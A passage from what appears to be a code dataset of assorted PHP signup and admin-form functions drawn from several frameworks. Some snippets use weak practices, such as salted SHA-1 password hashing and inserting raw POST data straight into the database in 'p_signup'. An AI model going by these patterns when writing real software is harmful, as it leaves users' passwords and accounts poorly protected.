$actionUrl,\n 'method' => 'post'\n ]\n ]\n );\n\n $htmlIdPrefix = 'lofmp_couponcode_generate_';\n $form->setHtmlIdPrefix($htmlIdPrefix);\n $fieldset = $form->addFieldset('base_fieldset', ['legend' => __('Generate Code for Visitor email')]);\n\n $dateFormat = $this->_localeDate->getDateFormat(\\IntlDateFormatter::SHORT);\n\n $fieldset->addField('store_ids', 'hidden', ['name' => 'store_ids']);\n\n $fieldset->addField(\n 'email_visitor',\n 'text',\n [\n 'name' => 'email_visitor',\n 'required' => true,\n 'label' => __('Visitor Email'),\n 'title' =>__('Visitor Email')\n ]\n );\n $fieldset->addField(\n 'coupon_rule_id',\n 'select',\n [\n 'label' => __('Rule'),\n 'title' => __('Rule'),\n 'name' => 'coupon_rule_id',\n 'options' => $this->_helper->getAllRule()\n ]\n ); \n $fieldset->addField(\n 'generate_coupon',\n 'button',\n [\n 'label' => '',\n 'title' => '',\n 'class' => 'action-secondary' ,\n 'name' => 'generate_coupon',\n 'checked' => false,\n 'onclick' => \"filterFormSubmit()\",\n 'onchange' => \"\",\n 'value' => __('Generate Coupon'),\n ]\n\n );\n\n $fieldset = $form->addFieldset('mass_generate_fieldset', ['legend' => __('Generate Coupon(s) for Customers '), 'class' => '.fieldset-wrapper-title, .admin__fieldset-wrapper-title']);\n $fieldset->addField(\n 'title',\n 'note',\n ['name' => 'title', 'label' => __('Use mass-action to generate coupons for existing customers'), 'title' => __('Use mass-action to generate coupons for existing customers'), 'required' => false]\n );\n\n $form->setUseContainer(true);\n $this->setForm($form);\n\n return parent::_prepareForm();\n }", "abstract function setupform();", "public function signup_post() {\n\n\n $post_data = $this->post();\n $final_user_array = array();\n $insert = array();\n $return_arr = array();\n\n /*\n * Mandatory fields for sign up as look into the config signup_key file to add mandatory fields \n */\n $required_fields_arr = array(\n array(\n 'field' => 'email',\n 'label' => 'Email',\n 'rules' => 'trim|required|valid_email|is_unique[ai_user.email]'\n ),\n array(\n 'field' => 'password',\n 'label' => 'Password',\n 'rules' => 'trim|required'\n ),\n array(\n 'field' => 'first_name',\n 'label' => 'First Name',\n 'rules' => 'trim|required'\n ),\n array(\n 'field' => 'device_id',\n 'label' => 'Device ID',\n 'rules' => 'required'\n ),\n array(\n 'field' => 'phone',\n 'label' => 'Phone Number',\n 'rules' => 'callback_validate_phone'\n ),\n array(\n 'field' => 'dob',\n 'label' => 'Dob',\n 'rules' => 'callback_validate_dob'\n ),\n );\n\n $this->form_validation->set_rules($required_fields_arr);\n $this->form_validation->set_message('regex_match[/^[0-9]{10}$/]', 'The %s is not valid');\n $this->form_validation->set_message('is_unique', 'The %s is already registered with us');\n $this->form_validation->set_message('required', 'Please enter the %s');\n\n\n if ($this->form_validation->run()) {\n\n $pArray = $this->config->item('sign_keys');\n /*\n * load possible sign-up data from the configuration sign_key file\n */\n $data = $this->defineDefaultValue($pArray, $post_data);\n /*\n * empty unnecessay fields \n */\n try {\n /*\n * upload profile pic option \n */\n if (isset($_FILES['profile_image']) && !empty($_FILES['profile_image'])) {\n\n $this->load->library('commonfn');\n $config = [];\n $config['upload_path'] = UPLOAD_IMAGE_PATH;\n $config['allowed_types'] = 'jpeg|jpg|png';\n $config['max_size'] = 3000;\n $config['max_width'] = 1024;\n $config['max_height'] = 768;\n $config['encrypt_name'] = TRUE;\n\n $this->load->library('upload', $config);\n\n if ($this->upload->do_upload('profile_image')) {\n\n $upload_data = $this->upload->data();\n\n $insert['image'] = $upload_data['file_name'];\n $filename = $upload_data['file_name'];\n $filesource = UPLOAD_IMAGE_PATH . $filename;\n $targetpath = UPLOAD_THUMB_IMAGE_PATH;\n $isSuccess = $this->commonfn->thumb_create($filename, $filesource, $targetpath);\n if ($isSuccess) {\n $insert['image_thumb'] = $upload_data['file_name'];\n }\n } else {\n $this->response_data([], ERROR_UPLOAD_FILE, '', strip_tags($this->upload->display_errors()));\n }\n }\n\n // fetch db user key and map data with it \n $this->db->trans_begin();\n $final_user_array = $this->GET_user_arr($insert, $data);\n\n $session_arr = $this->GET_session_arr($data);\n $return_arr = $this->User_model->Insert_userData($final_user_array, $session_arr);\n\n if ($this->db->trans_status() === TRUE) {\n $this->db->trans_commit();\n } else {\n $this->db->trans_rollback();\n throw new Exception(\"account_creation_unsuccessful || \" . ERROR_INSERTION);\n }\n } catch (Exception $e) {\n\n $error = $e->getMessage();\n list($msg, $code) = explode(\" || \", $error);\n $this->response_data([], $code, $msg);\n }\n\n $this->response_data($return_arr, SUCCESS_REGISTRATION, 'account_creation_successful');\n // pass data,code,extrainfo and language key\n } else {\n $err = $this->form_validation->error_array();\n $arr = array_values($err);\n $this->response_data([], PARAM_REQ, '', $arr[0]);\n }\n }", "public function process_signup_form($txn) {\n\n\t}", "function signup_nonce_fields()\n {\n }", "function hosting_signup_form() {\n drupal_add_js(drupal_get_path('module', 'hosting_signup') . '/hosting_signup_form.js');\n $form = xmlrpc(_hosting_signup_get_url(), 'hosting_signup.getForm', _hosting_signup_get_key(), $_POST);\n if (!$form) {\n drupal_set_message(t(\"XMLRPC request failed: %error\", array('%error' => xmlrpc_error_msg())), 'error');\n }\n $form['#action'] = '/hosting/signup';\n $form['#submit'][] = 'hosting_signup_form_submit';\n $form['#validate'][] = 'hosting_signup_form_validate';\n return $form;\n}", "private static function signup() {\r\n\t\t$user = new User($_POST);\r\n\t\t$_SESSION['badUser'] = new User($user->getParameters()); // used by view to temporarily store signup form input\r\n\t\t$_SESSION['badUser']->setErrors($user->getErrors());\r\n\t\t$_SESSION['badUser']->clearPassword();\r\n\r\n\t\t// check for validation errors\r\n\t\tif ($user->getErrorCount() > 0) {\r\n\t\t\tself::alertMessage('danger', 'One or more fields contained errors. Check below for details. Make any needed corrections and try again.');\r\n\t\t\tSignupView::show();\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t// make sure user name is not already taken\r\n\t\tif (UsersDB::userExists($user->getUserName())) {\r\n\t\t\tself::alertMessage('danger', 'User name already exists. You must choose another.');\r\n\t\t\tSignupView::show();\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t// make sure main character name is not already taken\r\n\t\tif (UsersDB::mainExists($user->getMainName())) {\r\n\t\t\tself::alertMessage('danger', 'The main character name is already associated with another user.');\r\n\t\t\tSignupView::show();\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t// user name available. send add request to database and check for success\r\n\t\tUsersDB::addUser($user);\r\n\t\tif ($user->getErrorCount() > 0) {\r\n\t\t\tself::alertMessage('danger', 'Failed to add user to database. Contact support.');\r\n\t\t\tSignupView::show();\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t// user is valid and should be logged in at this point\r\n\t\tunset($_SESSION['badUser']);\r\n\t\t$_SESSION['user'] = $user;\r\n\r\n\t\t// create a random verification code, text it to the user's phone, and display verification page\r\n\t\tTextMessageController::sendVerificationCode();\r\n\t\tVerificationView::show();\r\n\t}", "function CollectRegistrationSubmission(&$formvars)\n\t{\n\t\t$formvars['first_name'] = $this->Sanitize($_POST['first_name']);\n\t\t$formvars['last_name'] = $this->Sanitize($_POST['last_name']);\n\t\t$formvars['email'] = $this->Sanitize($_POST['email']);\n\t\t$formvars['phone_number'] = App::numbersOnly($_POST['phone_number']);\n\t\t$formvars['phone_number'] = $this->Sanitize($formvars['phone_number']);\t\t\n\t\t$formvars['username'] = $this->Sanitize($_POST['username']);\n\t\t$formvars['password'] = $this->Sanitize($_POST['password']);\n\t}", "public function formUserCreate(){\n // Access-controlled resource\n if (!$this->_app->user->checkAccess('create_account')){\n $this->_app->notFound();\n }\n \n $get = $this->_app->request->get();\n \n if (isset($get['render']))\n $render = $get['render'];\n else\n $render = \"modal\";\n \n // Get a list of all groups\n $groups = GroupLoader::fetchAll();\n \n // Get a list of all locales\n $locale_list = $this->_app->site->getLocales();\n \n // Get default primary group (is_default = GROUP_DEFAULT_PRIMARY)\n $primary_group = GroupLoader::fetch(GROUP_DEFAULT_PRIMARY, \"is_default\");\n \n // Get the default groups\n $default_groups = GroupLoader::fetchAll(GROUP_DEFAULT, \"is_default\");\n \n // Set default groups, including default primary group\n foreach ($groups as $group_id => $group){\n $group_list[$group_id] = $group->export();\n if (isset($default_groups[$group_id]) || $group_id == $primary_group->id)\n $group_list[$group_id]['member'] = true;\n else\n $group_list[$group_id]['member'] = false;\n }\n \n $data['primary_group_id'] = $primary_group->id;\n // Set default title for new users\n $data['title'] = $primary_group->new_user_title;\n // Set default locale\n $data['locale'] = $this->_app->site->default_locale;\n \n // Create a dummy user to prepopulate fields\n $target_user = new User($data); \n \n if ($render == \"modal\")\n $template = \"components/user-info-modal.html\";\n else\n $template = \"components/user-info-panel.html\";\n \n // Determine authorized fields for those that have default values. Don't hide any fields\n $fields = ['title', 'locale', 'groups', 'primary_group_id'];\n $show_fields = [];\n $disabled_fields = [];\n $hidden_fields = [];\n foreach ($fields as $field){\n if ($this->_app->user->checkAccess(\"update_account_setting\", [\"user\" => $target_user, \"property\" => $field]))\n $show_fields[] = $field;\n else\n $disabled_fields[] = $field;\n } \n \n // Load validator rules\n $schema = new \\Fortress\\RequestSchema($this->_app->config('schema.path') . \"/forms/user-create.json\");\n $validators = new \\Fortress\\ClientSideValidator($schema, $this->_app->translator); \n \n $this->_app->render($template, [\n \"box_id\" => $get['box_id'],\n \"box_title\" => \"Create User\",\n \"submit_button\" => \"Create user\",\n \"form_action\" => $this->_app->site->uri['public'] . \"/users\",\n \"target_user\" => $target_user,\n \"groups\" => $group_list,\n \"locales\" => $locale_list,\n \"fields\" => [\n \"disabled\" => $disabled_fields,\n \"hidden\" => $hidden_fields\n ],\n \"buttons\" => [\n \"hidden\" => [\n \"edit\", \"enable\", \"delete\", \"activate\"\n ]\n ],\n \"validators\" => $validators->formValidationRulesJson()\n ]); \n }", "protected function _prepareForm()\n\t{\n\t\t$model = Mage::registry('mpbackup_profile');\n\n\t\t$isNew = !$model->getProfileId() ? true : false;\n\n\t\t$form = new Varien_Data_Form();\n\n\t\t$fieldset = $form->addFieldset('app_fieldset',\n\t\t\tarray(\n\t\t\t\t'legend'\t=> $this->__('Storage Application'),\n\t\t\t\t'class'\t\t=> 'fieldset-wide'\n\t\t\t)\n\t\t);\n\t\t\t\t\n\t\t$fieldset->addField('profile_cloud_app',\n\t\t\t'select',\n\t\t\tarray(\n\t\t\t\t'name'\t\t=> $this->getProfileCloudAppId(),\n\t\t\t\t'label'\t\t=> $this->__('Storage Application'),\n\t\t\t\t'title'\t\t=> $this->__('Storage Application'),\n\t\t\t\t'values'\t=> $this->_getAppsForForm(),\n\t\t\t)\n\t\t);\n\n\t\t$fieldset->addField('profile_local_copy',\n\t\t\t'select',\n\t\t\tarray(\n\t\t\t\t'name'\t\t=> 'profile_local_copy',\n\t\t\t\t'label'\t\t=> $this->__('Save local copy'),\n\t\t\t\t'title'\t\t=> $this->__('Save local copy'),\n\t\t\t\t'class' \t=> 'input-select',\n\t\t\t\t'values'\t=> Mage::getModel('adminhtml/system_config_source_yesno')->toOptionArray(),\n\t\t\t\t'disabled'\t=> ($isNew || !$model->getData('profile_cloud_app') ? true : false)\n\t\t\t)\n\t\t);\n\n\t\t$fieldset->addField('profile_cloud_app_settings',\n\t\t\t'note',\n\t\t\tarray(\n\t\t\t\t'label'\t\t=> $this->__('Storage Application Settings'),\n\t\t\t\t'text'\t\t=> '<div id=\"'.$this->getAppSettingsAreaId().'\" style=\"width:600px;\">'\n\t\t\t\t\t\t\t.(!$model->getProfileId() || !$model->getData('profile_cloud_app') ? $this->__('Local storage is selected.') : '')\n\t\t\t\t\t\t\t.'</div>',\n\t\t\t)\n\t\t);\n\t\t\n\t\t$form->setHtmlIdPrefix('cloud_app_');\n\t\t$form->setValues($model->getData());\n\n\t\t$this->setForm($form);\n\t\t\n\t\t$this->getLayout()->getBlock('mpbackup_adminhtml_profile_edit')->addFormScripts(\"\n\t\t\tvar appSettings = function() {\n\t\t\t\treturn {\n\t\t\t\t\tupdateSettings: function() {\n\t\t\t\t\t\t\" . ($model->getProfileId()\n\t\t\t\t\t\t\t? \"var elements = [$('\".$form->getHtmlIdPrefix().$this->getProfileCloudAppId().\"'), $('profile_id')].flatten();\"\n\t\t\t\t\t\t\t: \"var elements = [$('\".$form->getHtmlIdPrefix().$this->getProfileCloudAppId().\"')].flatten();\")\n\t\t\t\t\t\t. \"\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($('cloud_app_profile_cloud_app').selectedIndex == 0) {\n\t\t\t\t\t\t\t$('cloud_app_profile_local_copy').disabled = true;\n\t\t\t\t\t\t\t$('cloud_app_profile_local_copy').selectedIndex = 0;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$('cloud_app_profile_local_copy').disabled = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tnew Ajax.Request('{$this->getUrl('*/*/loadSettings')}',\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tparameters: Form.serializeElements(elements),\n\t\t\t\t\t\t\t\tevalScripts: true,\n\t\t\t\t\t\t\t\tonComplete: function(transport) {\n try {\n if(transport.responseText.isJSON()) {\n var response = transport.responseText.evalJSON();\n if (!Object.isUndefined(response.message) && response.message) {\n $('\".$this->getAppSettingsAreaId().\"').innerHTML = '<div style=\\\"color:red; font-weight:bold;\\\">' + response.message + '</div>';\n return;\n }\n }\n } catch (e) {\n console.log(e);\n }\n\n\t\t\t\t\t\t\t\t $('\".$this->getAppSettingsAreaId().\"').innerHTML = transport.responseText;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t);\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t}();\n\t\t\t\n\t\t\tEvent.observe(window, 'load', function() {\n\t\t\t\t\". ($model->getProfileId() && $model->getData('profile_cloud_app') ? \"appSettings.updateSettings();\" : '') . \"\n\t\t\t\tif ($('\".$form->getHtmlIdPrefix().$this->getProfileCloudAppId().\"')) {\n\t\t\t\t\tEvent.observe($('\".$form->getHtmlIdPrefix().$this->getProfileCloudAppId().\"'), 'change', appSettings.updateSettings);\n\t\t\t\t}\n\t\t\t});\n\t\t\");\n\t\t\n\t\treturn parent::_prepareForm();\n\t}", "private function getProductSignupForm()\n {\n $form = array(\n 'form' => array(\n 'id_form' => 'product_signup_setting',\n 'legend' => array(\n 'title' => $this->l('Product Signup Setting'),\n 'icon' => 'icon-sign-in'\n ),\n 'input' => array(\n array(\n 'label' => $this->l('Enable/Disable'),\n 'type' => 'switch',\n 'name' => 'kbproductsignup[enable]',\n 'values' => array(\n array(\n 'value' => 1,\n ),\n array(\n 'value' => 0,\n ),\n ),\n 'hint' => $this->l('Enable/Disable the product sign up')\n ),\n array(\n 'label' => $this->l('Sign up Price Alert Heading'),\n 'type' => 'text',\n 'name' => 'kbsignup_price_heading',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text for the heading displaying in the signup form')\n ),\n array(\n 'label' => $this->l('Price Alert Message'),\n 'type' => 'textarea',\n 'name' => 'kbsignup_price_message',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text message to display for the price alert signup form')\n ),\n array(\n 'label' => $this->l('Sign up Back In Stock Alert Heading'),\n 'type' => 'text',\n 'name' => 'kbsignup_stock_heading',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text for the heading displaying in the signup form')\n ),\n array(\n 'label' => $this->l('Back In Stock Alert Message'),\n 'type' => 'textarea',\n 'name' => 'kbsignup_stock_message',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text message to display for the back in stock alert signup form')\n ),\n array(\n 'label' => $this->l('Sign up Button Text'),\n 'type' => 'text',\n 'name' => 'kbsignup_button_text',\n 'required' => true,\n 'lang' => true,\n 'hint' => $this->l('Enter the text for the signup button displaying in the signup form')\n ),\n \n array(\n 'label' => $this->l('Sign up Heading Background color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[heading_bk_color]',\n 'hint' => $this->l('Choose the background color to display in the heading of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Heading Font color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[heading_font_color]',\n 'hint' => $this->l('Choose the font color to display in the heading of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Content Background color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[content_bk_color]',\n 'hint' => $this->l('Choose the background color to display in the content of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Content Font color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[content_font_color]',\n 'hint' => $this->l('Choose the font color to display in the content of the sign up form')\n ),\n array(\n 'label' => $this->l('Sign up Block Border color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[block_border_color]',\n 'hint' => $this->l('Choose the color to display in the border of the sign up block')\n ),\n array(\n 'label' => $this->l('Sign up Button Background color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[button_bk_color]',\n 'hint' => $this->l('Choose the background color for the sign up button')\n ),\n array(\n 'label' => $this->l('Sign up Button Font color'),\n 'type' => 'color',\n 'required' => true,\n 'name' => 'kbproductsignup[button_font_color]',\n 'hint' => $this->l('Choose the font color for the sign up button')\n ),\n \n ),\n 'submit' => array(\n 'title' => $this->l('Save'),\n 'class' => 'btn btn-default pull-right kbph_product_sign_setting_btn'\n ),\n ),\n );\n return $form;\n }", "public function signupAction()\n {\n $form = new SignUpForm();\n\n if ($this->request->isPost()) {\n\n if ($form->isValid($this->request->getPost()) != false) {\n\n $user = new Users();\n\n $user->assign(array(\n 'name' => $this->request->getPost('name', 'striptags'),\n 'email' => $this->request->getPost('email'),\n 'password' => $this->security->hash($this->request->getPost('password')),\n 'profilesId' => 2\n ));\n\n if ($user->save()) {\n return $this->dispatcher->forward(array(\n 'controller' => 'index',\n 'action' => 'index'\n ));\n }\n\n $this->flash->error($user->getMessages());\n }\n }\n\n $this->view->form = $form;\n }", "public function signupAction()\n {\n $form = new SignUpForm();\n\n if ($this->request->isPost()) {\n\n if ($form->isValid($this->request->getPost()) != false) {\n\n $user = new Users();\n\n $user->assign(array(\n 'name' => $this->request->getPost('name', 'striptags'),\n 'email' => $this->request->getPost('email'),\n 'password' => $this->security->hash($this->request->getPost('password')),\n 'profilesId' => 2\n ));\n\n if ($user->save()) {\n return $this->dispatcher->forward(array(\n 'controller' => 'index',\n 'action' => 'index'\n ));\n }\n\n $this->flash->error($user->getMessages());\n }\n }\n\n $this->view->form = $form;\n }", "protected function formForm()\n\t{\n\t\t$user = $this->request->getUser();\n\n\t\t$purses = $user->purses;\n\n\t\t$payments = $this->getPayments();\n\n\t\t$payments_form = $this->makePaymentsForm($payments);\n\n\t\t$purses_setting = $this->makePursesSetting($purses);\n\n\t\treturn compact('user', 'purses', 'payments', 'payments_form', 'purses_setting');\n\t}", "function process_signup_params($db)\n{\n // Check if we should login the user\n if (isset($_POST['signup'])) {\n create_account($db, $_POST['signup_name'], $_POST['signup_username'], $_POST['signup_password'], $_POST['signup_confirm_password']);\n }\n}", "public function p_signup(){\n\t\tforeach($_POST as $field => $value){\n\t\t\tif(empty($value)){\n\t\t\t\tRouter::redirect('/users/signup/empty-fields');\n\t\t\t}\n\t\t}\n\n\t\t#check for duplicate email\n\t\tif ($this->userObj->confirm_unique_email($_POST['email']) == false){\n\t\t\t#send back to signup page\n\t\t\tRouter::redirect(\"/users/signup/duplicate\");\n\t\t}\n\n\t\t#adding data to the user\n\t\t$_POST['created'] = Time::now();\n\t\t$_POST['modified'] = Time::now();\n\n\t\t#encrypt password\n\t\t$_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\n\t\t#create encrypted token via email and a random string\n\t\t$_POST['token'] = sha1(TOKEN_SALT.$_POST['email'].Utils::generate_random_string());\n\n\t\t#Insert into the db\n\t\t$user_id = DB::instance(DB_NAME)->insert('users', $_POST);\n\n\t\t# log in the new user\n\n\t\tsetcookie(\"token\", $_POST['token'], strtotime('+2 weeks'), '/');\n\n\t\t# redirect to home\n\t\tRouter::redirect('/users/home');\n\t\t\n\t}", "public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName() . '[]';\n\n $this->vars['model'] = $this->model;\n $this->vars['subscribers'] = Subscriber::all()->lists('count', 'id');\n if (!empty($this->getLoadValue())) {\n $this->vars['value'] = $this->getLoadValue();\n } else {\n $this->vars['value'] = [];\n }\n\n }", "public function postSetupForm() {\r\n\r\n $l = $this->bootstrap->getLocalization();\r\n // ugyanaz submitnak mint title-nek\r\n $this->form->submit =\r\n $this->controller->toSmarty['title'] = $l('users', 'login_title');\r\n if ( $this->application->getParameter('nolayout') )\r\n $this->controller->toSmarty['nolayout'] = true;\r\n\r\n $this->controller->toSmarty['formclass'] = 'halfbox centerformwrap';\r\n $this->controller->toSmarty['titleclass'] = 'center';\r\n parent::postSetupForm();\r\n\r\n }", "function enews_signup_form_snippet( &$module, &$snippet, $parameters )\n{\n // Process form\n if ( $_SERVER['REQUEST_METHOD'] == 'POST' )\n {\n $is_xhr = array_ifnull( $_SERVER, 'HTTP_X_REQUESTED_WITH', '' ) == 'XMLHttpRequest';\n $errors = array();\n\n // Get data from form post\n $data = array();\n $data['locale'] = $module->kernel->request['locale'];\n $data['title'] = trim( substr(array_ifnull($_POST, 'title', ''), 0, 45) );\n $data['first_name'] = trim( substr(array_ifnull($_POST, 'first_name', ''), 0, 255) );\n $data['last_name'] = trim( substr(array_ifnull($_POST, 'last_name', ''), 0, 255) );\n $data['email'] = trim( substr(array_ifnull($_POST, 'email', ''), 0, 255) );\n $data['phone'] = trim( substr(array_ifnull($_POST, 'phone', ''), 0, 255) );\n $data['address'] = trim( substr(array_ifnull($_POST, 'address', ''), 0, 255) );\n $data['city'] = trim( substr(array_ifnull($_POST, 'city', ''), 0, 255) );\n $data['zip_code'] = trim( substr(array_ifnull($_POST, 'zip_code', ''), 0, 255) );\n $data['country'] = trim( substr(array_ifnull($_POST, 'country', ''), 0, 255) );\n $hcaptcha_response = array_ifnull($_POST, 'h-captcha-response', '' );\n\n // Cleanup and validate data\n $required_fields = array( 'title', 'first_name', 'last_name', 'email', 'country' );\n foreach ( $data as $field => $value )\n {\n if ( in_array($field, $required_fields) )\n {\n if ( $value === '' )\n {\n $errors[$field] = $parameters[\"ERROR_{$field}_blank\"];\n }\n else\n {\n if ( $field == 'title' && !array_key_exists($data['title'], $module->kernel->dict['SET_titles']) )\n {\n $errors['title'] = $parameters['ERROR_title_blank'];\n }\n if ( $field == 'email' && !filter_var($data['email'], FILTER_VALIDATE_EMAIL) )\n {\n $errors['email'] = $parameters['ERROR_email_invalid'];\n }\n if ( $field == 'country' )\n {\n $country = array_search( $data['country'], $module->kernel->dict['SET_countries'] );\n if ( $country === FALSE )\n {\n $errors[$field] = $parameters['ERROR_country_invalid'];\n }\n else\n {\n $data['country'] = $country;\n }\n }\n }\n }\n else if ( $value === '' )\n {\n $data[$field] = NULL;\n }\n }\n if ( $hcaptcha_response === '' )\n {\n $errors['h-captcha-response'] = $module->kernel->dict['ERROR_hcaptcha_response_blank'];\n }\n\n // Validate hCaptcha response\n if ( count($errors) == 0 )\n {\n $error = $module->validate_hcaptcha_response( $hcaptcha_response );\n if ( !is_null($error) )\n {\n $errors['h-captcha-response'] = 'hCaptcha Error: ' . $error;\n }\n }\n\n // Insert new subscription\n if ( count($errors) == 0 )\n {\n $values = array();\n foreach ( $data as $value )\n {\n $values[] = $module->kernel->db->escape( $value );\n }\n $sql = 'INSERT INTO subscriptions(' . implode( ', ', array_keys($data) ) . ', created_date, creator_id)';\n $sql .= ' VALUES(' . implode( ', ', $values ) . ', UTC_TIMESTAMP(), NULL)';\n $statement = $module->kernel->db->query( $sql );\n if ( !$statement )\n {\n $module->kernel->quit( 'DB Error: ' . array_pop($this->kernel->db->errorInfo()), $sql, __FILE__, __LINE__ );\n }\n $id = $module->kernel->db->lastInsertId();\n $module->kernel->log( 'message', \"Subscription $id <{$data['email']}> created\", __FILE__, __LINE__ );\n }\n\n // Set page content\n header( 'Content-Type: application/json' );\n echo json_encode( $errors );\n exit();\n }\n\n // Display form\n else\n {\n $module->kernel->smarty->assignByRef( 'snippet_data', $parameters );\n return $module->kernel->smarty->fetch( \"file/snippet/{$snippet['id']}/index.html\" );\n }\n}", "function vals_soc_form_user_register_form_alter_handler(&$form, &$form_state) {\n\n $q = explode(\"/\", $_GET['q']);\n $code = (isset($q[2])) ? $q[2] : '';\n\n $form['account']['fullname'] = array(\n \"#type\" => \"textfield\",\n \"#title\" => t(\"What is your full name?\"),\n //\"#options\" => $options_institutes,\n \"#description\" => t(\"(If you leave this empty, we will use your account name instead)\"),\n //\"#default_value\" => '',\n );\n $current_role = getRole();\n $no_administrator = ($current_role !== _ADMINISTRATOR_TYPE);\n\n if (!$no_administrator) {\n //If the admin adds users directly we do not want the following fields as these are already\n //provided in one or another way\n\n $form['account']['account_type'] = array(\n \"#type\" => \"select\",\n \"#title\" => t(\"What is your role\"),\n \"#options\" => array(\n _STUDENT_TYPE => t(\"Student\"),\n _SUPERVISOR_TYPE => t(\"Supervisor\"),\n _MENTOR_TYPE => t(\"Mentor\"),\n _ORGADMIN_TYPE => t('Organisation Administrator'),\n _INSTADMIN_TYPE => t('Institute Administrator'),\n _SOC_TYPE => t('Virtual Alliances Consortium member'),\n ),\n \"#description\" => t(\"Select your role in Semester of Code.\"),\n );\n\n $institutes = db_select('soc_institutes', 'i')->fields('i', array('inst_id', 'name'))->execute()->fetchAll(PDO::FETCH_ASSOC);\n $options_institutes = array(0 => t('Fill in later'));\n foreach ($institutes as $ins) {\n $options_institutes[$ins['inst_id']] = $ins['name'];\n }\n\n $form['account']['institute'] = array(\n \"#type\" => \"select\",\n \"#title\" => t(\"Select the institute you are in\"),\n \"#options\" => $options_institutes,\n \"#description\" => t(\"(for students and tutors only)\"),\n );\n\n $organisations = db_select('soc_organisations', 'o')->fields('o', array('org_id', 'name'))->execute()->fetchAll(PDO::FETCH_ASSOC);\n $options_organisation = array(0 => t('Fill in later'));\n foreach ($organisations as $org) {\n $options_organisation[$org['org_id']] = $org['name'];\n }\n\n $form['account']['organisation'] = array(\n \"#type\" => \"select\",\n \"#title\" => t(\"Select the organisation you are in\"),\n \"#options\" => $options_organisation,\n \"#description\" => t(\"(for organisation admins and mentors only)\"),\n );\n }\n $url_set_code = $code; //getRequestVar('c', '', 'get');\n if ($no_administrator) {\n //If the admin adds users directly we do not want the following fields as these are already \n //provided in one or another way\n $form['account']['account_key'] = array(\n \"#type\" => \"textfield\",\n \"#title\" => t(\"Type the key you got in the invitation\"),\n \"#size\" => 10,\n \"#description\" => t(\"This code is different per role.\"),\n \"#default_value\" => $url_set_code,\n );\n\n $default_language = language_default()->language;\n $languages = db_select('languages', 'l')->fields('l', array('language', 'native'))->execute()->fetchAll(PDO::FETCH_ASSOC);\n $options_lang = array();\n foreach ($languages as $lang) {\n $options_lang[$lang['language']] = $lang['native'];\n }\n\n $form['account']['language'] = array(\n \"#type\" => \"select\",\n \"#title\" => t(\"Select the language you want for Semester of Code\"),\n \"#options\" => $options_lang,\n \"#description\" => t(\"This will be the default language\"),\n \"#default_value\" => $default_language,\n );\n }\n\n $form['#submit'][] = 'vals_soc_form_user_register_form_submit_handler';\n $form['#validate'][] = 'vals_soc_form_user_register_form_validate_handler';\n return $form;\n}", "protected function prepareFields(): array\n {\n $formFields = [];\n foreach ($this->toArray() as $key => $value) {\n if ($value !== null) {\n $formFields[ucfirst($key)] = $value;\n }\n }\n return $formFields;\n }", "public function postSignup()\n {\n $FormName = 'SignupForm';\n $returnToRoute = array\n (\n\t\t\t\t\t 'name' => FALSE,\n\t\t\t\t\t 'data' => FALSE,\n\t\t\t\t\t );\n $FormMessages = array();\n\n if(Request::isMethod('post'))\n {\n $Attempts = $this->getAccessAttemptByUserIDs\n (\n $FormName,\n array($this->getSiteUser()->id),\n self::POLICY_AllowedAttemptsLookBackDuration\n );\n\n if($Attempts['total'] < self::POLICY_AllowedSignupAttempts)\n {\n if($this->isFormClean($FormName, Input::all()))\n {\n $formFields = array\n (\n 'new_member' => Input::get('new_member'),\n 'password' => Input::get('password'),\n 'password_confirmation ' => Input::get('password_confirmation'),\n 'acceptTerms' => Input::get('acceptTerms'),\n );\n $formRules = array\n (\n 'new_member' => array\n (\n 'required',\n 'email',\n 'unique:employee_emails,email_address',\n 'between:5,120',\n ),\n 'password' => array\n (\n 'required',\n 'between:10,256',\n ),\n 'password_confirmation ' => array\n (\n 'same:password',\n ),\n 'acceptTerms' => array\n (\n 'required',\n 'boolean',\n 'accepted',\n ),\n );\n $formMessages = array\n (\n 'new_member.required' => \"An email address is required and can not be empty.\",\n 'new_member.email' => \"Your email address format is invalid.\",\n 'new_member.unique' => \"Please, check your inbox for previous sign up instructions.\",\n 'new_member.between' => \"Please, re-check your email address' size.\",\n\n 'password.required' => \"Please enter your password.\",\n 'password.confirmed' => \"A password confirmation is required.\",\n 'password.between' => \"Passwords must be more than 10 digits.\",\n\n 'password_confirmation.same' => \"A password confirmation is required.\",\n\n 'acceptTerms.required' => \"Please indicate that you read our Terms & Privacy Policy.\",\n 'acceptTerms.boolean' => \"Please, indicate that you read our Terms & Privacy Policy.\",\n 'acceptTerms.accepted' => \"Please indicate that you read our Terms & Privacy Policy\",\n );\n\n $validator = Validator::make($formFields, $formRules, $formMessages);\n $passwordCheck = $this->checkPasswordStrength($formFields['password']);\n\n if ($validator->passes() && $passwordCheck['status'])\n {\n // Add the emailAddress\n $this->addEmployeeEmailStatus($formFields['new_member'], 'AddedUnverified');\n\n // Get the Site User so you can associate this user behaviour with this new member\n 